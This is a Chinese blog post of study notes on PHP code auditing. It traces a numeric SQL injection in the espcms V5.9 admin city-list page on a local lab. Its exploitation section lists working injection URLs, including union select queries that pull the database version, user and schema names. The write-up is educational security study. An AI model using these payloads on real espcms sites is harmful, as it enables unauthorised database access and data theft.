本文想投稿“信安之路”公众号,未通过审核,记录在自己的博客。
最近在读《代码审计:企业级 Web 代码安全架构》,作者是尹毅。
我的想法是,精读这本书,从而入门 PHP 代码审计,能够利用工具检测一些轻量级 CMS 的漏洞,分析代码逻辑,理解漏洞原理,尝试编写 POC 和 Paper。学习过程中做好笔记,举一反三,总结提高。
笔记主要记录漏洞的形成原理和利用方法,这会比较难,但只有这样才能提高,希望自己能够坚持这个原则,真正学懂代码审计,也提高逻辑推理和文字表达能力。
本篇笔记记录一个简单的 SQL 注入漏洞的原理、触发和利用的过程。
代码审计的一些认识
0x01 代码审计概念
代码审计是指对源代码进行检查,寻找可能引发安全问题的漏洞,并对漏洞进行测试验证的过程。
代码审计需要多方面的技能,要能够理解代码的逻辑、漏洞形成的原理、众多工具的灵活使用。每一次代码审计都是一项系统化的工程。
0x02 代码审计思路
常见的代码审计思路包括:
- 根据敏感函数或关键字回溯参数传递过程
- 查找可控变量,正向追踪变量传递过程
- 寻找敏感功能点,通读功能点代码
- 直接通读全文代码
0x03 PHP 代码审计需要掌握的知识
- PHP 编程基础
- PHP 核心配置和危险函数
- HTML 和 JavaScript 等 Web 前端编程基础
- MySQL 常用函数和 SQL 语句
- SQL 注入漏洞原理,还有 XSS、文件包含、命令执行等漏洞原理
- 靶机环境准备
- 工具的运用。包括 Seay 自动化代码审计、phpstudy 自动化构建 PHP + MySQL 开发环境、Sublime Text 编辑等工具的运用。
espcms SQL 注入漏洞分析和利用
0x01 靶机环境
用 phpStudy 搭建 PHP 和 MySQL 环境,安装 espcms。
服务器解译引擎
版本:Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
PHP
版本:5.3.29
MySQL
版本:5.5.53
用户:root
口令:root
数据库:espcms_v5
espcms
版本:V5.9.14.08.28
url:http://localhost/espcms/
管理员:admin
口令:qwe123
0x02 漏洞原理
用作者的开源代码审计工具 Seay 来完成自动审计,看看能发现什么。在 Seay 中,新建项目,自动审计,并将结果生成报告。

补充说明下我使用的工具。
我用 Sublime Text 3 和 Notepad++ 来辅助分析。对于 PHP 语言,Sublime 可以跳转到函数定义代码(
F12
),Jump Back(Alt+-
),Jump Forward(Alt+Shift+-
)。Notepad++ 可以查看函数列表。两个工具都能打开文件夹,以目录树的方式查看文件,都支持文件夹搜索。这样可以提高分析速度。Seay 系统的自动审计功能,是利用正则匹配的方式,来找出代码中敏感函数或 SQL 语句关键字,并判断变量是否符合常见漏洞的触发模式,比如 SQL 语句的条件参数是否有引号等,来判断是否存在漏洞。Seay 系统有一套正则匹配的规则,并且能自己添加规则,这套规则也是学习的重点。
下面对第 28 条结果进行分析。

28
SQL语句select中条件变量无单引号保护,可能存在SQL注入漏洞
/adminsoft/control/citylist.php
$sql = "select * from $db_table where parentid=$parentid";
即 where
里的条件变量 $parentid
没有用引号进行保护,如果没有对变量进行很好的过滤检查的话,可能存在 SQL 注入
漏洞风险。
定位 citylist.php
文件的关键代码。
$parentid = $this->fun->accept('parentid', 'R');
$parentid = empty($parentid) ? 1 : $parentid;
$sql = "select * from $db_table where parentid=$parentid";
$rs = $this->db->query($sql);
$parentid
变量在 oncitylist()
函数中, 是 accept('parentid', 'R')
函数的返回值。由 $parentid = empty($parentid) ? 1 : $parentid;
可以看出 $parentid
变量接收的是数值,可能存在数值型注入漏洞。
知道了变量的传递过程后,我们跟进 accept()
函数。在 Sublime 里 F12
,选择 public/class_function.php()
文件,定位到 accept()
函数。

function accept($k, $var = 'R', $htmlcode = true, $rehtml = false) {
switch ($var) {
...
case 'R':
$var = &$_GET;
if (empty($var[$k])) {
$var = &$_POST;
}
break;
}
$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k], 0) : NULL;
return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue)) : $putvalue;
}
根据传入的参数 accept('parentid', 'R')
, 来详细分析下 accept()
的返回值是什么。
先来分析下 $var
变量的值,$var
变量赋值的逻辑是,先赋值 $_GET
数组, 判断 $_GET[parentid]
是否为空,如果为空就赋值 $_POST
数组。 即,如果 URL 地址有 parentid 参数的话,就取$_GET
,否则取 $_PUT
。
解释下几个 PHP 超全局变量,
$_GET
数组存储的是 GET 方式提交的数据,一般是 URL 地址的变量键值对,$_POST
数组存储的是 POST 方式提交的数据,一般是页面表单的变量键值对。$_REQUEST
数组,包含了$_GET
,$_POST
,$_COOKIE
的值。
接下来分析下 $putvalue
变量的值,用 daddslashes()
函数对 $var[parentid]
进行转义处理,将字符串里的单引号('
)、双引号("
)、反斜线(\
)、NUL(NULL 字符)等进行转义,即在这些字符前加上反斜线(\
)。要注意的是,addslashes()
函数只是转义上述特殊字符,返回转义后的字符串,如果传入的参数是数值,则直接返回该数值。
function daddslashes($string, $force = 0, $strip = FALSE) {
if (!get_magic_quotes_gpc() || $force == 1) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = addslashes($strip ? stripslashes($val) : $val);
}
} else {
$string = addslashes($strip ? stripslashes($string) : $string);
}
}
return $string;
}
// addslashes() 的简单测试
// 疑问:PHP 手册里说明,addslashes() 函数是在(PHP 4, PHP 5, PHP 7)版本启用。
// 但是在 (PHP 3) 版本里,为什么也可以正常执行?
<?php
$string = "', \, \"";
print_r(addslashes($string)); // 输出 \', \\, \"
echo '<br><br>';
$parentid = 1;
print_r(addslashes($parentid)); // 输出 1
echo '<br><br>';
补充几个知识点:
magic_quotes_gpc
当
magic_quotes_gpc
设置为 on,所有的' (单引号)、" (双引号)、\(反斜杠)和 NUL's
被一个反斜杠自动转义。 (本特性已自 PHP 5.3.0 起废弃并从 PHP 5.4.0 开始移除)
addslashes()
string addslashes ( string $str )
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)
。PHP 5.4 之前 PHP 指令
magic_quotes_gpc
默认是 on, 实际上所有的 GET、POST 和 COOKIE 数据都用被addslashes()
了。 不要对已经被magic_quotes_gpc
转义过的字符串使用addslashes()
,因为这样会导致双层转义。 遇到这种情况时可以使用函数get_magic_quotes_gpc()
进行检测。
接下来分析下返回值,最后一句 return 语句,通过 preg_htmldecode
和 htmldecode
两个函数对输入进行过滤检测,防止不安全字符的输入,这里简单理解下 两个函数的功能。
preg_htmldecode
函数对 '&', '"', '<', '>'
等字符转换为 HTML 字符实体 '&', '"', '<', '>'
,因为在 HTML 中对某些字符进行了预留,以避免把这些字符误认为标签,如果要正常显示这些预留字符,必须在 HTML 源码中使用字符实体。
htmldecode
函数对 <script>
脚本功能和标签等字符进行过滤,直接转换为空值,如果用户可以提交脚本数据,很容易进行 XSS 攻击,这里进行了简单的过滤来防范。
这里用到了正则的知识,我对正则的运用很不熟悉,理解代码有些困难,后续要详细的学习一遍,很多过滤功能都要用到正则,如果正则的运用不严谨,很容易出现漏洞。代码审计应该要能够非常熟悉正则运用。
function preg_htmldecode($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = $this->preg_htmldecode($val);
}
} else {
$string = str_replace(array('&', '"', '<', '>'), array('&', '"', '<', '>'), $string);
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
return $string;
}
function htmldecode($str) {
if (empty($str)) return $str;
$search = array(
"'<script[^>]*?>.*?</script>'si",
"'<[\/\!]*?[^<>]*?>'si",
);
$replace = array(
"",
"",
);
if (!is_array($str)) {
$str = htmlspecialchars(trim($str));
$str = @preg_replace($search, $replace, $str);
} else {
foreach ($str as $key => $val) {
$str[$key] = htmlspecialchars($val);
$str[$key] = $this->htmldecode($val);
}
}
return $str;
}
分析了 accept()
的返回值后,就很清楚漏洞存在的原因了,根本的问题是 $parentid
没有用引号进行闭合,后续对该变量的过滤都形同虚设,是一个数值型 SQL 注入漏洞,在注入时,不需要用引号来闭合源码本身的 SQL 语句,可以用 union select 等语句来拼接自己构造的 SQL 语句进行查询,就很容易获取数据库信息了。
$sql = "select * from $db_table where parentid=$parentid";
0x03 漏洞触发
知道了代码存在的漏洞,下步就是要想办法来触发漏洞,上述 SQL 语句位于 oncitylist()
函数,该函数是 important
类的成员函数,父类是 connector
。所在文件为 /adminsoft/control/citylist.php
。所以我们的目标就是要构造 URL 参数或者某个页面表单参数,来触发 citylist.php
文件里的 oncitylist()
函数。
先尝试直接访问该文件,以及它的目录,出现以下错误,应该是 PHP 系统和语言的问题,与该 CMS 本身代码无关,跳过不管。


再访问上一级目录,即 /adminsoft
,会跳转到 http://127.0.0.1/espcms/adminsoft/index.php?archive=adminuser&action=login
,网站管理员的登陆页面。其实从文件目录也可以看出,这个漏洞的触发需要管理员登陆后才可以,从常规的渗透测试流程来看,是不太可能提前获取管理官权限的,除非授权进行白盒测试才可能拿到权限。这里作为学习素材,先用管理员权限来测试。

用管理员账号和口令登陆。地址跳转到
http://127.0.0.1/espcms/adminsoft/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter

有些基本的尝试后,我们再来看下 citylist.php
代码。既然是 oncitylist()
函数有问题,函数属于 important
类,就要从全局找下在哪里实例化了这个类。
利用 Seay 工具的全局搜索,或 Sublime 的文件夹搜索,很容易定位到实例化 important
类的文件,为 /adminsoft/index.php
。

index.php
代码不长,我们定位到实例化 important
类的代码附近细看下。

代码如下:
$archive = indexget('archive', 'R');
$archive = empty($archive) ? 'adminuser' : $archive;
$action = indexget('action', 'R');
$action = empty($action) ? 'login' : $action;
if (in_array($archive, array('acmessagemain', 'adminuser', 'advertmain', 'adverttypemain', 'albummain', 'article', 'bbsmain', 'bbstypemain', 'callmain',
'citylist', 'connected', 'createmain', 'createseomain', 'enquirymain', 'filemain', 'filemanage', 'formmain', 'formmessmain', 'language', 'languagepack',
'lib_menu', 'mailinvite', 'mailsendmain', 'mailtemplatemain', 'management', 'memattmanage', 'membermain', 'memclassmanage', 'modelmanage', 'ordermain',
'payplug', 'payreceipt', 'powergroup', 'printtemplatemain', 'recommanage', 'seomanage', 'shipplug', 'shipreceipt', 'sitemain', 'skinmain', 'sqlmanage', 'smstemplatemain',
'subjectmanage', 'templatemain', 'typemanage', 'mobliemain', 'smsmain'))) {
if (!file_exists(admin_ROOT . adminfile . "/control/$archive.php")) {
exit('Access error!');
}
include admin_ROOT . adminfile . "/control/$archive.php";
$control = new important();
$action = 'on' . $action;
if (method_exists($control, $action)) {
$control->$action();
} else {
exit('错误:系统方法错误!');
}
} else {
exit('Access error!');
}
可以看出:
$archive
变量的取值范围是 /adminsoft/control
下的文件名,默认为 adminuser
。
$action
变量的值,在其前加上 on
就是上述文件里的函数名,默认为 login
。
所以,在管理员未登陆的情况下,自动跳转地址里的参数就是按照这两个默认值来设置的,即 /adminsoft/index.php?archive=adminuser&action=login
。
按照这个规律,我们尝试来触发 /adminsoft/control/citylist.php
里的 oncitylist()
函数。 构造 URL 为:
/adminsoft/index.php?archive=citylist&action=citylist
访问该地址,结果如下:

可以看到,成功调用了 oncitylist()
函数,说明上述规律是正确的,结合前面漏洞原理的分析结果,尝试把 parentid
这个变量作为参数加入到 URL 里,其值先取数字 1。URL 为:
/adminsoft/index.php?archive=citylist&action=citylist&parentid=1
访问该地址,结果如下:

结果好像没有变化,修改 parentid
的值为数字 2 再访问。

可以看到,只是显示“北京”,多次尝试后,可以知道这个参数表示省份,1 为所有的省,2 为北京,3 为安徽等等,查询的结果就是相应省份下面的市。
至此,我们已经触发了/adminsoft/control/citylist.php
里的 oncitylist()
函数,并能够加上查询条件参数 parentid
。
0x04 漏洞利用
下面开始尝试 SQL 注入。
http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=1'

http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=1 and 1=1

http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=1 and 1=2

构造 3 个 parentid
的值,验证了漏洞存在。
http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=1'
// 加引号后,报错
http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=1 and 1=1
// 和 parentid=1 的结果一致
http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=1 and 1=2
// 因为查询条件为 False,没有结果
通过 order by 或 union select 来获取一些数据库信息。需要注意的是,在拼接的查询中,不能有引号、反斜线等字符,会被转义成前面加上反斜线的形式。
http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=1 order by 6
// 当尝试到 order by 6 后,返回出错信息,说明数据表为5列
http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,3,4,5
// 显示 3,说明 parentid 是表的第 3 列
http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,version(),4,5
// 修改 3 为要获取的信息
数据库版本:version()
当前 MySQL 用户: user()
当前数据库名: database()
数据库路径: @@datadir
操作系统版本: @@version_compile_os
获取所有数据库名:
http://127.0.0.1/espcms/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 union select 1,2,group_concat(schema_name),4,5 from information_schema.schemata
这里就简单列了下常用的注入语句,更多的注入语句,考虑单独写一篇笔记进行总结。
利用 MySQL 的客户端查询下数据表结构,验证下上面的结果。
mysql> desc espcms_city;
+------------+----------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+------------+----------------------+------+-----+---------+----------------+
| id | smallint(5) unsigned | NO | PRI | NULL | auto_increment |
| parentid | smallint(5) unsigned | NO | MUL | 0 | |
| cityname | varchar(120) | NO | | NULL | |
| regiontype | tinyint(1) | NO | MUL | 2 | |
| agencyid | smallint(5) unsigned | NO | MUL | 0 | |
+------------+----------------------+------+-----+---------+----------------+
5 rows in set (0.04 sec)
至此,这次简单的代码审计就算告一段落,针对这个版本的 espcms,还可以学习其他一些漏洞的代码审计知识。根据 Seay 的自动审计结果,除了 SQL 注入外,还有一些文件包含、任意文件读取、命令执行等漏洞,每个漏洞的审计都要详细,有结果,一点点积累。在代码审计和渗透测试领域,只有积累足够多的细节才能用简单的思路去做更复杂的事情。
总结
完成了 espcms 一个简单 SQL 注入漏洞的代码审计知识学习和实践,总结下做过的工作。
- 在本地搭建靶机环境,用 phpStudy 能快速构建 PHP +MySQL 的环境,切换不同版本,结合 Sublime 就可以有一个便捷的 PHP 开发环境。
- 这次审计的思路采取的是,检查敏感关键字的参数,回溯参数变量传递过程,判断变量是否可控,有没有经过转义和过滤等安全检查。用 Seay 审计系统自动检查 select 语句的条件参数,匹配到参数没有用引号进行保护,存在 SQL 注入风险;回溯条件参数变量,发现经过反斜线转义和脚本标签过滤等安全检查;由于变量不在引号内,只要构造的注入语句不用到引号、反斜线、脚本标签等字符,就可以进行 SQL 注入。
- 结合自动化代码审计工具,采用匹配敏感函数或 SQL 语句关键字,逆向追踪回溯参数的审计思路,能够快速的发现常规性的漏洞。但不利于从全局发现整个系统存在的逻辑问题。
因为不太会 PHP 编程语言,花了很多时间来理解代码,也花了很长时间来做学习笔记。虽然漏洞很简单,而且参考了别人的思路,但这算是自己第一个完成的代码审计工作,有了第一个,我想就会有第二个。完整的学习笔记,对初学者来说,也是一个很好的参考资料。
参考
PHP代码审计菜鸟笔记 sosly 菜鸟笔记